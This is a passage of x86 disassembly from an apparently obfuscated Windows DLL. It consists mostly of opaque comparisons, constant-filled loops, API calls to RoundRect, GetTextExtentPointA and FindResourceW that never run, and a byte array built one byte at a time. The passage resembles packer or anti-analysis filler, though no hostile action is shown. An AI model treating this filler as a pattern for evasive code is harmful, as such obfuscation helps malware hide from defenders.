add ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp + eax - 0x104]
jne 0x10040875
mov dword [ebp - 0x988], 1
jmp 0x1004087c
and dword [ebp - 0x988], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
add eax, dword [ebp - 0x988]
cmp eax, 0x1658
jle 0x100408a2
mov dword [ebp - 0x60c], 1
jmp 0x100408a9
and dword [ebp - 0x60c], 0
cmp dword [ebp - 0x60c], 0x16488a97
jle 0x100408c1
mov dword [ebp - 0x80c], 1
jmp 0x100408c8
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x80c]
sub eax, dword [ebp - 0x5c]
sub eax, 9
cmp dword [ebp - 0x5c], eax
je 0x100408e5
mov dword [ebp - 0x614], 1
jmp 0x100408ec
and dword [ebp - 0x614], 0
cmp dword [ebp - 0x614], 0x3622ba39
jg 0x10040904
mov dword [ebp - 0x90c], 1
jmp 0x1004090b
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x5c], 0
jmp 0x10040927
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jg 0x1004099f
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ebp + ecx*4 - 0x104]
cmp ecx, dword [ebp + eax*4 - 0x104]
jne 0x1004094f
mov dword [ebp - 0x61c], 1
jmp 0x10040956
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x814], eax
mov byte [ebp - 0xec], 0
movzx eax, byte [ebp - 0xec]
test eax, eax
je 0x1004099d
push 0x351
push 0x2537
push 0x1822
push 0x24c7
push 0x119e
push 0xa82
push 0x20e
call dword [sym.imp.GDI32.dll_RoundRect]
jmp 0x10040920
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xc70], 0
lea eax, [ebp - 0xc70]
push eax
lea ecx, [ebp - 0x1180]
call fcn.10047154
mov dword [ebp - 0xa78], eax
mov eax, dword [ebp - 0xa78]
mov dword [ebp - 0xae8], eax
mov dword [ebp - 4], 0xd
mov edx, dword [ebp - 0x4f8]
mov ecx, dword [ebp - 0xae8]
call fcn.10031f41
mov dword [0x1060e07c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1180]
call fcn.10014750
mov dword [ebp - 0xd4], 0xa8eac8b
push 1
lea ecx, [ebp - 0xde4]
call fcn.10009c88
mov dword [ebp - 4], 0xe
push 3
lea ecx, [ebp - 0xe20]
call fcn.10009c88
mov byte [ebp - 4], 0xf
mov dword [ebp - 0xed4], 0xb786
mov dword [ebp - 0x90], 0
jmp 0x10040a4f
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x10040a6e
push dword [ebp - 0x90]
lea ecx, [ebp - 0xde4]
call fcn.10009d00
or dword [eax], 0xffffffff
jmp 0x10040a42
mov dword [ebp - 0x90], 0
jmp 0x10040a87
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x10040aa9
push dword [ebp - 0x90]
lea ecx, [ebp - 0xe20]
call fcn.10009d00
mov dword [eax], 0xfe1f230b
jmp 0x10040a7a
mov dword [ebp - 0xd4], 0
jmp 0x10040ac2
mov eax, dword [ebp - 0xd4]
dec eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xffffffe9
jne 0x10040bce
mov dword [ebp - 0x174], 0xfffffffe
mov dword [ebp - 0xedc], 5
mov dword [ebp - 0x290], 0
jmp 0x10040afc
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 2
jge 0x10040b18
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0x10d4], 0
jmp 0x10040aef
mov dword [ebp - 0x174], 1
mov eax, dword [ebp - 0x174]
cmp eax, dword [ebp - 0xd4]
jge 0x10040b3c
mov dword [ebp - 0x624], 1
jmp 0x10040b43
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x624]
sub eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xd4]
jg 0x10040b69
cmp dword [ebp - 0x174], 0
jne 0x10040b69
and dword [ebp - 0x9c0], 0
jmp 0x10040b73
mov dword [ebp - 0x9c0], 1
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x9c0], eax
jle 0x10040bb2
cmp dword [ebp - 0x174], 0
jge 0x10040b96
mov dword [ebp - 0x62c], 1
jmp 0x10040b9d
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x174]
imul eax, dword [ebp - 0x62c]
mov dword [ebp - 0x174], eax
jmp 0x10040bc9
mov dword [ebp - 0x81c], 0x4faf
mov eax, dword [ebp - 0x81c]
dec eax
mov dword [ebp - 0x81c], eax
jmp 0x10040ab5
push 1
lea ecx, [ebp - 0xe20]
call fcn.10009d00
cmp dword [eax], 1
jg 0x10040bec
mov dword [ebp - 0x634], 1
jmp 0x10040bf3
and dword [ebp - 0x634], 0
cmp dword [ebp - 0x634], 0
je 0x10040c08
mov dword [ebp - 0x914], 1
jmp 0x10040c0f
and dword [ebp - 0x914], 0
push 0
lea ecx, [ebp - 0xde4]
call fcn.10009d00
mov ecx, dword [ebp - 0x914]
mov dword [eax], ecx
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xe20]
call fcn.10009ce4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xde4]
call fcn.10009ce4
and dword [ebp - 0x298], 0
jmp 0x10040c58
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0xe
jae 0x10040e1c
push 2
lea ecx, [ebp - 0xa10]
call fcn.10009c88
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x64c], 0x54207647
mov dword [ebp - 0xa80], 3
mov dword [ebp - 0x300], 0
jmp 0x10040ca6
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 2
jge 0x10040cc5
push dword [ebp - 0x300]
lea ecx, [ebp - 0xa10]
call fcn.10009d00
or dword [eax], 0xffffffff
jmp 0x10040c99
push 0
lea ecx, [ebp - 0xa10]
call fcn.10009d00
and dword [eax], 0
jmp 0x10040cfb
push 0
lea ecx, [ebp - 0xa10]
call fcn.10009d00
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x63c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x63c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xa10]
call fcn.10009d00
cmp dword [eax], 0xffffffff
jg 0x10040dd4
mov dword [ebp - 0x82c], 7
push 0
lea ecx, [ebp - 0xa10]
call fcn.10009d00
cmp dword [eax], 0xafa9b64f
jb 0x10040d3c
mov dword [ebp - 0x824], 1
jmp 0x10040d43
and dword [ebp - 0x824], 0
push 0
lea ecx, [ebp - 0xa10]
call fcn.10009d00
mov ecx, dword [ebp - 0x824]
cmp ecx, dword [eax]
jge 0x10040d66
mov dword [ebp - 0x644], 1
jmp 0x10040d6d
and dword [ebp - 0x644], 0
imul eax, dword [ebp - 0x82c], 0
mov ecx, 0x8f3c
sub ecx, eax
cmp ecx, dword [ebp - 0x644]
jl 0x10040d8f
mov dword [ebp - 0x990], 1
jmp 0x10040d96
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x990]
mov dword [ebp - 0x64c], eax
mov eax, dword [ebp - 0x64c]
cmp eax, dword [ebp - 0x82c]
jle 0x10040dbc
mov dword [ebp - 0x654], 1
jmp 0x10040dc3
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x654]
mov dword [ebp - 0xa80], eax
jmp 0x10040cd7
mov byte [ebp - 0x12a], 0
movzx eax, byte [ebp - 0x12a]
test eax, eax
je 0x10040dfa
push 0
push 0x1597
push 0
push 0x602
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa10]
call fcn.10009ce4
mov eax, dword [ebp - 0x298]
mov byte [ebp + eax - 0xc70], 0
jmp 0x10040c4b
mov dword [ebp - 0x338], 0xeb6b9dd9
mov dword [ebp - 0x434], 0x9a5a40f2
mov dword [ebp - 0x83c], 0
mov dword [ebp - 0x664], 1
mov dword [ebp - 0x66c], 0x88c5540f
mov dword [ebp - 0xee4], 0xfffffffe
mov dword [ebp - 0x98], 0
jmp 0x10040e71
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x10040e8d
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0xe4], 0
jmp 0x10040e64
mov dword [ebp - 0x98], 0
jmp 0x10040ea6
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 4
jge 0x10040ec2
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x1084], 0
jmp 0x10040e99
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe4]
mov dword [ebp - 0xeec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xe4], 0x3384
jl 0x10040ef4
mov dword [ebp - 0x91c], 1
jmp 0x10040efb
and dword [ebp - 0x91c], 0
mov eax, dword [ebp - 0x91c]
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0
jne 0x10040f29
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe4]
inc eax
jne 0x10040f29
and dword [ebp - 0x65c], 0
jmp 0x10040f33
mov dword [ebp - 0x65c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe4]
cmp dword [ebp - 0x65c], eax
jg 0x10040f54
mov dword [ebp - 0x834], 1
jmp 0x10040f5b
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x834]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x83c], 0
jne 0x1004100a
cmp dword [ebp - 0x664], 0
jne 0x10040fec
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe4]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0xef4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xe4], 1
jne 0x10040fbf
cmp dword [ebp - 0x664], 0
jne 0x10040fbf
and dword [ebp - 0x9ec], 0
jmp 0x10040fc9
mov dword [ebp - 0x9ec], 1
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0x66c], eax
mov eax, dword [ebp - 0x66c]
add eax, dword [ebp - 0x83c]
jne 0x10040fec
and dword [ebp - 0x674], 0
jmp 0x10040ff6
mov dword [ebp - 0x674], 1
mov eax, dword [ebp - 0x674]
sub eax, 3
jne 0x1004100a
and dword [ebp - 0x924], 0
jmp 0x10041014
mov dword [ebp - 0x924], 1
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 3
push 4
pop edx
imul edx, edx, 0
mov esi, dword [ebp - 0x924]
sub esi, dword [ebp + edx - 0xe4]
neg esi
sub esi, dword [ebp - 0x338]
sub esi, dword [ebp + ecx - 0x1084]
cmp esi, dword [ebp + eax - 0x1084]
je 0x10041057
mov dword [ebp - 0xaf0], 1
jmp 0x1004105e
and dword [ebp - 0xaf0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe4]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x70], 0xdd688769
mov dword [ebp - 0xc8], 0x3b7c
mov dword [ebp - 0x844], 0xe469209a
mov dword [ebp - 0x6a4], 0xacb2d505
mov dword [ebp - 0x6ac], 0x996fd0fe
push 4
lea ecx, [ebp - 0xe38]
call fcn.10009c88
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x408], 0xffffffff
mov dword [ebp - 0xa88], 1
mov dword [ebp - 0x2a0], 0
jmp 0x100410eb
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 4
jge 0x1004110d
push dword [ebp - 0x2a0]
lea ecx, [ebp - 0xe38]
call fcn.10009d00
mov dword [eax], 0xb56bf5ee
jmp 0x100410de
cmp dword [ebp - 0x70], 0
je 0x100412a4
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xefc], eax
cmp dword [ebp - 0xc8], 0x9403132d
ja 0x10041138
mov dword [ebp - 0x67c], 1
jmp 0x1004113f
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x844], eax
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x844]
lea eax, [ecx + eax + 1]
cmp eax, 1
ja 0x1004116c
mov dword [ebp - 0x684], 1
jmp 0x10041173
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x684], eax
jg 0x1004118d
mov dword [ebp - 0x998], 1
jmp 0x10041194
and dword [ebp - 0x998], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x998], eax
je 0x100411b1
cmp dword [ebp - 0xc8], 0
jne 0x100411b1
and dword [ebp - 0x68c], 0
jmp 0x100411bb
mov dword [ebp - 0x68c], 1
cmp dword [ebp - 0x68c], 0xfffffffb
jle 0x100411d0
mov dword [ebp - 0x84c], 1
jmp 0x100411d7
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x84c], eax
je 0x100411f1
mov dword [ebp - 0x694], 1
jmp 0x100411f8
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0x694]
cmp eax, dword [ebp - 0x70]
jge 0x10041213
mov dword [ebp - 0x92c], 1
jmp 0x1004121a
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0xc8]
imul eax, dword [ebp - 0x92c]
cmp dword [ebp - 0x70], eax
jne 0x10041238
mov dword [ebp - 0x69c], 1
jmp 0x1004123f
and dword [ebp - 0x69c], 0
cmp dword [ebp - 0x69c], 0x46983c17
jg 0x10041257
mov dword [ebp - 0x854], 1
jmp 0x1004125e
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 0xffffffff
je 0x1004127f
mov dword [ebp - 0x9d0], 1
jmp 0x10041286
and dword [ebp - 0x9d0], 0
mov eax, dword [ebp - 0x9d0]
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 0
jne 0x100412a4
and dword [ebp - 0x3c8], 0
jmp 0x100412ae
mov dword [ebp - 0x3c8], 1
push 1
lea ecx, [ebp - 0xe38]
call fcn.10009d00
mov ecx, dword [ebp - 0x3c8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x308]
cmp dword [ebp - 0x3c8], eax
jl 0x100412dd
mov dword [ebp - 0x85c], 1
jmp 0x100412e4
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x85c], eax
jg 0x100412fe
mov dword [ebp - 0x6b4], 1
jmp 0x10041305
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x6b4]
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x3c94
jne 0x10041329
mov dword [ebp - 0x934], 1
jmp 0x10041330
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x934], eax
jne 0x1004134a
mov dword [ebp - 0x6bc], 1
jmp 0x10041351
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x6bc]
sub eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0x70]
cmp eax, 6
jbe 0x1004136f
mov dword [ebp - 0x864], 1
jmp 0x10041376
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x864], eax
jle 0x1004138d
mov dword [ebp - 0x6c4], 1
jmp 0x10041394
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x408]
cmp dword [ebp - 0x6c4], eax
jne 0x100413ae
mov dword [ebp - 0x9a0], 1
jmp 0x100413b5
and dword [ebp - 0x9a0], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x9a0]
jl 0x100413cc
mov dword [ebp - 0x6cc], 1
jmp 0x100413d3
and dword [ebp - 0x6cc], 0
cmp dword [ebp - 0x6cc], 0x760b
jg 0x100413eb
mov dword [ebp - 0x86c], 1
jmp 0x100413f2
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x408]
cmp dword [ebp - 0x86c], eax
jg 0x1004140c
mov dword [ebp - 0x6d4], 1
jmp 0x10041413
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d4]
mov dword [ebp - 0x408], eax
mov eax, dword [ebp - 0xa88]
mov dword [ebp - 0x308], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe38]
call fcn.10009ce4
push 1
lea ecx, [ebp - 0xa1c]
call fcn.10009c88
mov dword [ebp - 4], 0x12
mov dword [ebp - 0xf04], 0xffffffff
push 4
lea ecx, [ebp - 0xbf8]
call fcn.10009c88
mov byte [ebp - 4], 0x13
mov dword [ebp - 0xa90], 0xd4c3
mov dword [ebp - 0x7c], 0
jmp 0x10041483
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x1004149f
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xa1c]
call fcn.10009d00
mov dword [eax], 0x48bbca63
jmp 0x1004147c
mov dword [ebp - 0x7c], 0
jmp 0x100414af
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 4
jge 0x100414cb
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xbf8]
call fcn.10009d00
mov dword [eax], 0x9f3faa32
jmp 0x100414a8
mov byte [ebp - 0xee], 0
movzx eax, byte [ebp - 0xee]
test eax, eax
je 0x100414e9
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
lea ecx, [ebp - 0xa1c]
call fcn.10009d00
mov dword [eax], 0xfffffff7
jmp 0x10041522
push 0
lea ecx, [ebp - 0xa1c]
call fcn.10009d00
mov dword [ebp - 0x93c], eax
mov eax, dword [ebp - 0x93c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x93c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xa1c]
call fcn.10009d00
cmp dword [eax], 0xb
jne 0x10041771
mov dword [ebp - 0x2a8], 0xfffffffd
mov dword [ebp - 0x158], 0xbb94d0f4
mov dword [ebp - 0xd30], 1
mov dword [ebp - 0xd2c], 1
mov dword [ebp - 0xd28], 1
mov dword [ebp - 0xd24], 1
lea ecx, [ebp - 0x379]
call fcn.10009e64
push eax
lea eax, [ebp - 0xd20]
push eax
lea eax, [ebp - 0xd30]
push eax
lea ecx, [ebp - 0x1144]
call fcn.10014809
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xfb0]
call fcn.100147e3
mov byte [ebp - 4], 0x14
mov dword [ebp - 0xb00], 0xaae0
mov dword [ebp - 0x178], 0xffffffff
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0xf0c], eax
cmp dword [ebp - 0x2a8], 0
jne 0x10041701
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x178]
inc ecx
mov dword [ebp - 0x178], ecx
test eax, eax
je 0x100416a2
push 2
lea ecx, [ebp - 0xbf8]
call fcn.10009d00
mov esi, dword [ebp - 0x158]
push 3
lea ecx, [ebp - 0xfb0]
call fcn.10009d00
mov dword [eax], esi
mov esi, dword [ebp - 0x178]
push 0
lea ecx, [ebp - 0xa1c]
call fcn.10009d00
cmp dword [eax], esi
jne 0x1004163a
mov dword [ebp - 0xaf8], 1
jmp 0x10041641
and dword [ebp - 0xaf8], 0
push 0
lea ecx, [ebp - 0xa1c]
call fcn.10009d00
cmp dword [ebp - 0x158], 3
jl 0x10041663
mov dword [ebp - 0x6dc], 1
jmp 0x1004166a
and dword [ebp - 0x6dc], 0
mov esi, dword [ebp - 0x6dc]
sub esi, dword [ebp - 0x178]
push 1
lea ecx, [ebp - 0xbf8]
call fcn.10009d00
sub esi, dword [eax]
push 1
lea ecx, [ebp - 0xbf8]
call fcn.10009d00
cmp esi, dword [eax]
jg 0x100416a2
mov dword [ebp - 0x874], 1
jmp 0x100416a9
and dword [ebp - 0x874], 0
cmp dword [ebp - 0x874], 0
jne 0x100416be
mov dword [ebp - 0x6e4], 1
jmp 0x100416c5
and dword [ebp - 0x6e4], 0
cmp dword [ebp - 0x6e4], 2
jle 0x100416da
mov dword [ebp - 0x9e4], 1
jmp 0x100416e1
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x158]
imul eax, dword [ebp - 0x9e4]
sub eax, 0x19d96601
cmp eax, 0xfffffffa
jg 0x10041701
and dword [ebp - 0x6ec], 0
jmp 0x1004170b
mov dword [ebp - 0x6ec], 1
mov eax, dword [ebp - 0x6ec]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x2a8]
imul eax, dword [ebp - 0x158]
test eax, eax
jne 0x1004173a
cmp dword [ebp - 0x158], 0
jne 0x1004173a
and dword [ebp - 0x87c], 0
jmp 0x10041744
mov dword [ebp - 0x87c], 1
mov eax, dword [ebp - 0xa90]
imul eax, dword [ebp - 0x87c]
sub eax, dword [ebp - 0xb00]
mov dword [ebp - 0x158], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xfb0]
call fcn.10009ce4
jmp 0x100414fe
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xbf8]
call fcn.10009ce4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa1c]
call fcn.10009ce4
mov byte [ebp - 0x1d4], 3
mov byte [ebp - 0x1d3], 0x31
mov byte [ebp - 0x1d2], 1
mov byte [ebp - 0x1d1], 0x13
mov byte [ebp - 0x1d0], 0xa
mov byte [ebp - 0x1cf], 0x17
mov byte [ebp - 0x1ce], 4
mov byte [ebp - 0x1cd], 0x11
mov byte [ebp - 0x1cc], 9
mov byte [ebp - 0x1cb], 0x17
mov byte [ebp - 0x1ca], 0xb
mov byte [ebp - 0x1c9], 0x10
mov byte [ebp - 0x1c8], 0xc
mov byte [ebp - 0x1c7], 0
mov byte [ebp - 0x1c6], 7
mov byte [ebp - 0x1c5], 1
mov byte [ebp - 0x1c4], 8
mov byte [ebp - 0x1c3], 0x1d
mov byte [ebp - 0x1c2], 6
mov byte [ebp - 0x1c1], 0x3f
mov byte [ebp - 0x1c0], 0xd
mov byte [ebp - 0x1bf], 7
mov byte [ebp - 0x1be], 2
mov byte [ebp - 0x1bd], 0x32
mov byte [ebp - 0x1bc], 5
mov byte [ebp - 0x1bb], 0
mov byte [ebp - 0x1ba], 0
mov byte [ebp - 0x1b9], 0x26
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xb10], 0xf0f592b0
mov dword [ebp - 0xf14], 0xfffffffd
mov dword [ebp - 0x3e8], 0xa577dc96
mov dword [ebp - 0x73c], 0
mov dword [ebp - 0x3e0], 0xffffffff
mov dword [ebp - 0x964], 0x94cf7123
mov dword [ebp - 0xb18], 0
mov dword [ebp - 0x360], 0
jmp 0x100418b9
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 1
jge 0x100418d2
mov eax, dword [ebp - 0x360]
mov dword [ebp + eax*4 - 0x24], 0xd5f8d9a2
jmp 0x100418ac
mov eax, 0x3d1f30a9
test eax, eax
je 0x100419f7
mov dword [ebp - 0x10c], 0xffffffff
mov dword [ebp - 0xa98], 0x9cd329b3
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xf1c], eax
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x18]
jg 0x10041916
mov dword [ebp - 0x6f4], 1
jmp 0x1004191d
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x6f4]
je 0x10041937
mov dword [ebp - 0x944], 1
jmp 0x1004193e
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x944]
je 0x10041958
mov dword [ebp - 0x6fc], 1
jmp 0x1004195f
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x6fc], eax
jle 0x10041979
mov dword [ebp - 0x884], 1
jmp 0x10041980
and dword [ebp - 0x884], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x884], eax
je 0x1004199a
mov dword [ebp - 0x704], 1
jmp 0x100419a1
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x704], eax
jge 0x100419b8
mov dword [ebp - 0x9a8], 1
jmp 0x100419bf
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x9a8], eax
je 0x100419df
cmp dword [ebp - 0x18], 0
je 0x100419df
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0xa98], eax
jmp 0x10041d75
mov dword [ebp - 0x3d0], 0xfffffffc
mov dword [ebp - 0x2b0], 0
jmp 0x10041a1a
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 1
jge 0x10041a36
mov eax, dword [ebp - 0x2b0]
mov dword [ebp + eax*4 - 0x42c], 0xd4d14b71
jmp 0x10041a0d
mov dword [ebp - 0x18], 0
jmp 0x10041a46
cmp dword [ebp - 0x18], 0
jg 0x10041d75
push 3
lea ecx, [ebp - 0xdc0]
call fcn.10009c88
mov dword [ebp - 4], 0x15
push 2
lea ecx, [ebp - 0xd04]
call fcn.10009c88
mov byte [ebp - 4], 0x16
mov dword [ebp - 0xa0], 0
jmp 0x10041a8e
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jge 0x10041ab0
push dword [ebp - 0xa0]
lea ecx, [ebp - 0xdc0]
call fcn.10009d00
mov dword [eax], 0xdaf0db12
jmp 0x10041a81
mov dword [ebp - 0xa0], 0
jmp 0x10041ac9
cmp dword [ebp - 0xa0], 2
jge 0x10041aeb
mov dword [ebp - 0x3e8], 1
cmp dword [ebp - 0x3e8], 0xfffc
ja 0x10041d97
mov dword [ebp - 0x734], 1
jmp 0x10041d9e
and dword [ebp - 0x734], 0
cmp dword [ebp - 0x734], 0x6159332c
jle 0x10041dbf
mov eax, 0xb122
test eax, eax
je 0x10041dbf
mov dword [ebp - 0x954], 1
jmp 0x10041dc6
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0x954]
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x73c]
imul eax, dword [ebp - 0x18]
test eax, eax
jne 0x10041df2
cmp dword [ebp - 0xb10], 0
jne 0x10041df2
mov dword [ebp - 0xaa8], 1
mov eax, dword [ebp - 0x3e0]
mov dword [ebp - 0xf50], eax
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0xf58], eax
cmp dword [ebp - 0x3e0], 0xffffffff
jg 0x10041e29
push 2
lea ecx, [ebp - 0xa3c]
call fcn.10009c88
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0
mov dword [ebp - 0xb40], 3
mov dword [ebp - 0x21c], 0
jmp 0x1004287b
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 2
jge 0x1004289a
push dword [ebp - 0x21c]
lea ecx, [ebp - 0xa3c]
call fcn.10009d00
or dword [eax], 0xffffffff
jmp 0x1004286e
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x444], 1
jmp 0x100428c5
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x444]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x444], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x444], 0
jl 0x100429e8
mov dword [ebp - 0x224], 0x8795010f
mov dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
push 4
pop eax
shl eax, 1
push dword [ebp + eax - 0x444]
lea ecx, [ebp - 0xa3c]
call fcn.10009d00
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x444], 0xe4b0ad8e
jne 0x1004292e
mov dword [ebp - 0xad8], 1
jmp 0x10042935
and dword [ebp - 0xad8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x444]
mov dword [ebp - 0xfe4], eax
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x380], eax
mov esi, dword [ebp - 0x380]
push 4
pop eax
shl eax, 1
push dword [ebp + eax - 0x444]
lea ecx, [ebp - 0xa3c]
call fcn.10009d00
imul esi, dword [eax]
push 4
pop eax
shl eax, 1
push dword [ebp + eax - 0x444]
lea ecx, [ebp - 0xa3c]
call fcn.10009d00
sub esi, dword [eax]
mov eax, dword [ebp - 0x224]
lea esi, [eax + esi - 0xda0b]
push 4
pop eax
shl eax, 1
push dword [ebp + eax - 0x444]
lea ecx, [ebp - 0xa3c]
call fcn.10009d00
cmp esi, dword [eax]
jle 0x100429ca
